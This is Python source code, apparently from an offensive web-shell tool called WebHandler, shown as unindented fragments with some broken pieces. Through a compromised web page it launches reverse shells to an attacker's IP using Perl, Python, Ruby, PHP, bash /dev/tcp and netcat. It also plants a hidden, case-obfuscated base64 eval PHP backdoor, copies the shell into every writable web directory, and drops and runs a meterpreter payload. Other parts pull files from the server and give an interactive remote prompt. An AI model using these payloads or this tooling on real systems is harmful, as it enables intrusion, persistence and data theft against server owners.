def perl(self, ip, port):
cmd = "for x in `whereis perl`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
perl = make_request.get_page_source(cmd)
if perl:
cprint('\n[i] Found perl:', 'green')
c = 1
for path in perl:
cprint('{0:2d}.) {1}'.format(c, path), 'green')
c += 1
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for path in perl:
cmd = 'nohup {0} -e '.format(path)
cmd += '\'use Socket;'
cmd += '$i="{0}";'.format(ip)
cmd += '$p="{0}";'.format(port)
cmd += 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
cmd += 'if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");'
cmd += 'open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' &'
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
else:
cprint('\n[!] Didn\'t find perl on the remote system', 'red')
def python(self, ip, port):
cmd = "for x in `whereis python`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
python = make_request.get_page_source(cmd)
if python:
cprint('\n[i] Found python:', 'green')
c = 1
for path in python:
cprint('{0:2d}.) {1}'.format(c, path), 'green')
c += 1
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for path in python:
cmd = 'nohup {0} -c '.format(path)
cmd += '\'import socket,subprocess,os;'
cmd += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
cmd += 's.connect(("{0}",{1}));'.format(ip, port)
cmd += 'os.dup2(s.fileno(),0);'
cmd += 'os.dup2(s.fileno(),1);'
cmd += 'os.dup2(s.fileno(),2);'
cmd += 'p=subprocess.call(["/bin/sh","-i"]);\' &'
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
else:
cprint('\n[!] Didn\'t find python on the remote system', 'red')
def testall(self, ip, port):
modules = [self.ruby, self.python, self.php_cli, self.xterm, self.perl, self.bash, self.msf, self.netcat]
print 'This module will test all the Backdoors in a random order until you get a conection on netcat.'
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for i in xrange(1, len(modules) + 1):
call = random.choice(modules)
try:
modules.remove(call)
call(ip, port)
except:
pass
print "-------------------------------------------------"
def get_page_source(self, cmd):
self.cmd = cmd
# Proxy support
proxy_support = ProxyHandler({"http": self.proxy} if self.proxy else {})
opener = build_opener(proxy_support)
# User angent
if self.random_agent:
opener.addheaders = [("User-agent", USER_AGENTS[randint(0, len(USER_AGENTS) - 1)])]
elif self.user_agent:
opener.addheaders = [("User-agent", self.user_agent)]
else:
pass
install_opener(opener)
errmsg = colored("\n[!] Check your network connection and/or the proxy (if you're using one)", "red")
fourzerofourmsg = colored("\n[!] Please make sure the page ('{0}') requested exists!".format(self.url), "red")
# Check if the method is POST
if self.method == "post" or self.parameter:
self.method = "post"
parameters = urlencode({self.parameter: self.cmd})
try:
sc = map(str.rstrip, opener.open(self.url, parameters).readlines())
if not self.turbo:
parameters = urlencode({self.parameter: ""})
garpage = map(str.rstrip, opener.open(self.url, parameters).readlines())
garpage = list(set(sc).intersection(garpage))
sc = [i for i in sc if not i in garpage]
return sc
except InvalidURL:
exit(errmsg)
except:
exit(fourzerofourmsg)
# If the used method set GET
else:
try:
sc = map(str.rstrip, opener.open("{0}{1}".format(self.url, quote(self.cmd))).readlines())
if not self.turbo:
garpage = map(str.rstrip, opener.open("{0}{1}".format(self.url, quote(""))).readlines())
garpage = list(set(sc).intersection(garpage))
sc = [i for i in sc if not i in garpage]
return sc
except InvalidURL:
exit(errmsg)
except:
exit(fourzerofourmsg)
def php(self, ip, ourIP):
wwwroot = linux.get_doc_root()
cmd = 'find {0} -depth -perm -0002 -type d | sort -R '.format(wwwroot)
folder = make_request.get_page_source(cmd)
if folder:
folder = folder[0]
cprint('\n[+] Found a writable directory: \'{1}\''.format(folder), 'green')
filename = '.' + ''.join(choice(string.ascii_letters + string.digits) for x in range(8)) + '.php'
cprint('[+] Filename: \'{1}\''.format(filename), 'green')
location = '{0}/{1}'.format(folder, filename)
cmd = 'find {0} -type f -print'.format(wwwroot)
files = make_request.get_page_source(cmd)
cprint('[i] Select a file to \'clone\' (or \'0\' to skip):', 'green')
cprint(' 0.) Don\'t close - create new', 'green')
path = []
c = 0
for file in files:
path.append(file)
c += 1
cprint('{0:2d}.) {1}'.format(c, file), 'green')
while True:
try:
clone = int(raw_input(colored('[>] Which file to use? [0-{0}: '.format(c))))
if 0 <= clone <= c:
break
except ValueError:
pass
if clone != 0:
cmd = 'cp -f {0} {1}'.format(path[int(clone) - 1], location)
make_request.get_page_source(cmd)
cprint('[+] Creating our \'evil\' file: \'{0}\''.format(location), 'green')
parameter = ''.join(choice(string.ascii_lowercase) for x in range(6))
casePayload = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'eval'))))
caseShell = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'php eval(base64_decode'))))
payload = "{0}($_GET['{1}'].';');".format(casePayload, parameter)
payloadEncoded = b64encode(payload).format(payload)
evilFile = "<?{0}(\"{1}\")); ?>".format(caseShell, payloadEncoded)
cmd = 'echo \'{0}\' >> \"{1}\"'.format(evilFile, location)
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
uri = folder[len(wwwroot):]
#>>> '/'.join('https://localhost/html/shell.php'.split('/', 3)[:3])
#'https://localhost'
url = '/'.join(getargs.url.split('/', 3)[:3])
example = """Example:
curl "{url}{uri}/{filename}?{parameter}=phpinfo()"
curl "{url}{uri}/{filename}?{parameter}=require(\'/etc/passwd\')"
curl "{url}{uri}/{filename}?{parameter}=system(\'/sbin/ifconfig\')"
msfcli exploit/unix/webapp/php_eval RHOST={url} RPORT=80 PHPURI={uri}/{filename}?{parameter}=\!CODE\! PAYLOAD=php/meterpreter/reverse_tcp LHOST={ourIP} LPORT=4444 E""".format(
url=url,
uri=uri,
filename=filename,
parameter=parameter,
ourIP=ourIP,)
cprint(example, 'green')
else:
cprint('\n[!] Unable to find a writable directory', 'red')
def bash(self, ip, port):
cmd = "for x in `whereis bash`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
bash = make_request.get_page_source(cmd)
if bash:
cprint('\n[i] Found bash:')
c = 1
for path in bash:
cprint('{0:2d}.) {1}'.format(c, path), 'green')
c += 1
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for path in bash:
cmd = 'nohup {0} -c \'{0} -i >& /dev/tcp/{1}/{2} 0>&1\' &'.format(path, ip, port)
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
def wait_connection(self):
try:
print colored('\n[i] Waiting on port: ', 'green') + colored(self.port, 'yellow')
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', self.port))
server.listen(1)
try:
self.socket, self.address = server.accept()
self.socket.setblocking(0)
targetIP, targetPort = self.address
cprint('[+] Received connection from: {0}'.format(targetIP), 'magenta')
self.connected()
except KeyboardInterrupt:
cprint('\n[!] Lost connection. Exiting...', 'red')
except socket.error:
cprint('\n[!] Wasn\'t able to open a port. Make sure to run WebHanlder with a user which can (e.g. superuser)', 'red')
exit(3)
def msf(self, ip, port):
if len(Popen("for x in `whereis msfvenom`; do file $x | grep symbolic; done", shell=True, stdout=PIPE).stdout.read().strip()) == 0:
cprint('\n[!] Wasn\'t able to detect the metasploit framework', 'red')
else:
cprint('\n[i] Found the metasploit framework:', 'green')
folder = linux.get_writble_dir()
if folder:
filename = ''.join(choice(string.ascii_letters + string.digits) for x in range(8))
cprint('[+] Filename: \'{0}\''.format(filename), 'green')
path = '{0}/{1}'.format(folder, filename)
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} E)'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
cprint('[i] Generating linux/x86/meterpreter/reverse_tcp', 'green')
shell = Popen('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f elf | base64'.format(ip, port), shell=True, stdout=PIPE).stdout.read().strip()
cmd = 'echo "{0}" | base64 -i -d > {1} && chmod +x {1} && nohup {1} &'.format(shell, path)
cprint('{0}[+] Sending payload & executing', 'green')
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
def ruby(self, ip, port):
cmd = "for x in `whereis ruby`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
ruby = make_request.get_page_source(cmd)
if ruby:
cprint('\n[i] Found ruby:', 'green')
c = 1
for path in ruby:
cprint('{0:2d}.) {1}'.format(c, path), 'green')
c += 1
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for path in ruby:
cmd = 'nohup {0} -rsocket -e'.format(path)
cmd += '\'f=TCPSocket.open("{0}",{1}).to_i;'.format(ip, port)
cmd += 'exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\' &'
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
else:
cprint('\n[!] Didn\'t find ruby on the remote system', 'red')
def php_cli(self, ip, port):
cmd = "for x in `whereis php`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
php = make_request.get_page_source(cmd)
if php:
cprint('\n[i] Found php-cli:', 'green')
c = 1
for path in php:
cprint('{0:2d}.) {1}'.format(c, path), 'green')
c += 1
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for path in php:
cmd = 'nohup {0} -r '.format(path)
cmd += '\'$sock=fsockopen("{0}",{1});'.format(ip, port)
cmd += 'exec("/bin/sh -i <&3 >&3 2>&3");\' &'
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
else:
cprint('\n[!] Didn\'t find php-cli on the remote system', 'red')
def spread(self):
provided_shell_name = raw_input(colored('\n[?] Current shell name: ', 'green'))
shell_name = getargs.url.split('/')[-1] if getargs.method == 'post' else provided_shell_name
cmd = 'find {0} -depth -perm -0002 -type d | xargs -n 1 cp -v {1}'.format(linux.get_doc_root(), shell_name)
done = make_request.get_page_source(cmd)
if done:
success = '\n[+] {shell_name}{end} already written to {hot}{writable_length} paths'.format(
shell_name=shell_name,
writable_length=len(done))
success += '\n[+] To check these paths type @enum writable'
cprint(success, 'blue')
else:
cprint('\n[!] Something went wrong while spreading shell', 'red')
def netcat(self, ip, port):
'''
nc.OpenBSD deosn't have -e switch. Alternative solution:
rm -f /tmp/f && mkfifo /tmp/f && cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f
'''
cmd = "for x in `whereis nc netcat`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
netcat = make_request.get_page_source(cmd)
if netcat:
cprint('\n[i] Found netcat:', 'green')
c = 1
for path in netcat:
cprint('{0:2d}.) {1}'.format(c, path), 'green')
c += 1
msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
msg += colored('\n[?] Press <return> when ready!', 'yellow')
raw_input(msg.format(ip, port))
for path in netcat:
cmd = 'nohup {0} {1} {2} -e /bin/bash &'.format(path, ip, port)
make_request.get_page_source(cmd)
cprint('[+] Done!', 'blue')
else:
cprint('\n[!] Didn\'t find netcat on the remote system', 'red')
cmd = 'find {0} | while read f;do echo $f;done'.format(rfile_path)
files = make_request.get_page_source(cmd)
for file in files:
cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format(file)
file_type = make_request.get_page_source(cmd)[0]
if file_type == 'dir':
os.makedirs(os.path.join(lfile_path, file))
elif file_type == 'file':
cmd = 'cat {0}'.format(file)
try:
with open(os.path.join(lfile_path, file), 'w') as dest_file:
dest_file.write('\n'.join(make_request.get_page_source(cmd)) + '\n')
except IOError, e:
cprint('\n[!] Error: {0}'.format(e), 'red')
else:
print colored('[!] Coudln\'t download the following file:', 'red'), file
print colored('\n[+] Files downloaded successfully to:', 'green'), lfile_path
else:
cprint('\n[!]The file/directory doesn\'t exist or I don\'t have permission', 'red')
# A method for uploading files to the box
def upload_file(self, lfile_path, rfile_path):
with open(lfile_path) as local_file:
data_to_upload = local_file.read().encode('base64').strip()
#for line in data_to_upload:
cmd = 'echo {0} | base64 -d > {1}'.format(data_to_upload, rfile_path)
make_request.get_page_source(cmd)
print '\n[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path)
file_handler = FileHandler()
def get_information(self):
now = datetime.datetime.now()
# Call get_page_source() method then assign it to self.source
source = make_request.get_page_source(self.cmd)
def get(seq, index, default='Unknown'):
try:
return seq[index]
except:
return default
self.current_user = get(source, 0)
self.current_id = get(source, 1)
self.kernel_info = get(source, 2)
self.cwd = get(source, 3)
self.perm_cwd = get(source, 4)
self.uptime = get(source, 5)
self.host_ip = get(source, 6)
self.session = now.strftime("%Y-%m-%d")
self.url = '/'.join(getargs.url.split('/', 3)[:3])
try:
# Get the attacker's ip address (Thanks @mandreko)
self.local_ip = (urlopen('http://ifconfig.me/ip').read()).strip()
except URLError:
self.local_ip = 'Unknown'
self.info = '\t' + '-' * int(len(self.kernel_info) + 16) + '\n'
self.info += colored("\tUser : "******"\tID : ", 'red') + colored(self.current_id, 'green') + '\n'
self.info += colored("\tKernel : ", 'red') + colored(self.kernel_info, 'green') + '\n'
self.info += colored("\tCWD : ", 'red') + colored(self.cwd, 'green') + colored('\t\t' + self.perm_cwd, 'grey', attrs=['bold']) + '\n'
self.info += colored("\tUptime : ", 'red') + colored(self.uptime, 'green') + '\n'
self.info += colored("\tTarget's IPs : ", 'red') + colored(self.host_ip, 'green') + '\n'
self.info += colored("\tOur IP : ", 'red') + colored(self.local_ip, 'green') + '\n'
self.info += '\t' + '-' * int(len(self.kernel_info) + 16)
self.info += "\n\n"
self.info += colored("\t[+] Available commands: " + ', '.join(self.available_commands), 'blue', attrs=['underline', 'bold']) + '\n'
self.info += colored("\t[+] Inserting ! at the begining of the command will execute the command locally (on your box)", 'blue', attrs=['underline', 'bold'])
self.info += "\n"
print self.info
def BackConnect(self):
complete.tab() # calling auto-complete method
cmdcount = 1
# Empty list to save attacker's pushed commands
while True:
try:
try:
# Getting command to be executed from the user
command = raw_input(info.current_user +
colored('@', 'red') +
colored(info.host_ip.split(',')[0], 'green') + ':~' +
colored('({0})'.format(self.cwd), 'yellow') + ':$ ').strip()
# If something went wrong screw the list
except IndexError:
command = raw_input('WebHandler@server:$ ').strip()
command_list = command.split()
# Updating command history
self.history.append(unquote(command))
if command not in ('exit', 'quit', 'bye'):
if command == 'clear':
Popen('clear', shell=True).wait()
elif command[0] == '!':
self.execute(command)
# Execute a module
elif command[0] == '@':
try:
self.commands[command_list[0]](command_list)
except KeyError:
print '%s module does not exist!' % (command_list[0])
else:
try:
#Handle the current working directory 'cwd'
if command_list[0] == 'cd' and len(command_list) > 1:
cwd = self.cwd
if '../' in command_list[-1] or '..' in command_list[-1]:
self.cwd = cwd.rstrip(cwd.split('/').pop()).rstrip('/')
else:
if command_list[-1].startswith('/'):
cmd = '[ -d {0} ] && echo is_valid'.format(command_list[-1])
if make_request.get_page_source(cmd)[0] == 'is_valid':
self.cwd = command_list[-1]
else:
print 'bash: cd: {0}: No such file or directory'.format(command_list[-1])
else:
cmd = '[ -d {0}/{1} ] && echo is_valid'.format(cwd, command_list[-1])
if make_request.get_page_source(cmd)[0] == 'is_valid':
self.cwd = '{0}/{1}'.format(cwd, command_list[-1])
else:
print 'bash: cd: {0}: No such file or directory'.format(command_list[-1])
elif command_list[0] == 'cd' and len(command) == 1:
self.cwd = info.cwd # dirty patch to get the original cwd
else:
# Setting aliases for some commands to avoid
# Issues realted to empty directories
command = command.replace('ls', 'ls -lha') if command_list[0] == 'ls' else command
command = command.replace('rm', 'rm -v') if command_list[0] == 'rm' else command
command = command.replace('cp', 'cp -v') if command_list[0] == 'cp' else command
command = command.replace('ifconfig', '/sbin/ifconfig')
# Get the source code cotenets
cmd = 'cd {0};{1}'.format(self.cwd, command)
source = make_request.get_page_source(cmd)
if source:
for line in source:
print line
# If the executed command doesn't exist
else:
errmsg = '{0}: command not found '.format(unquote(command))
errmsg += 'or I don\'t have permission to execute it'
if command_list[0] == 'echo':
pass
else:
cprint(errmsg, 'red')
except IndexError:
pass
# Exit WebHandler if user provides exit as a command
else:
print '\n[+] Preformed "%d" commands on the server, %s\n[*] Connection closed' % (cmdcount, info.host_ip.split(',')[0])
break
# If recieved a break (^c)... Do nothing!
except KeyboardInterrupt:
print ""
cmdcount += 1
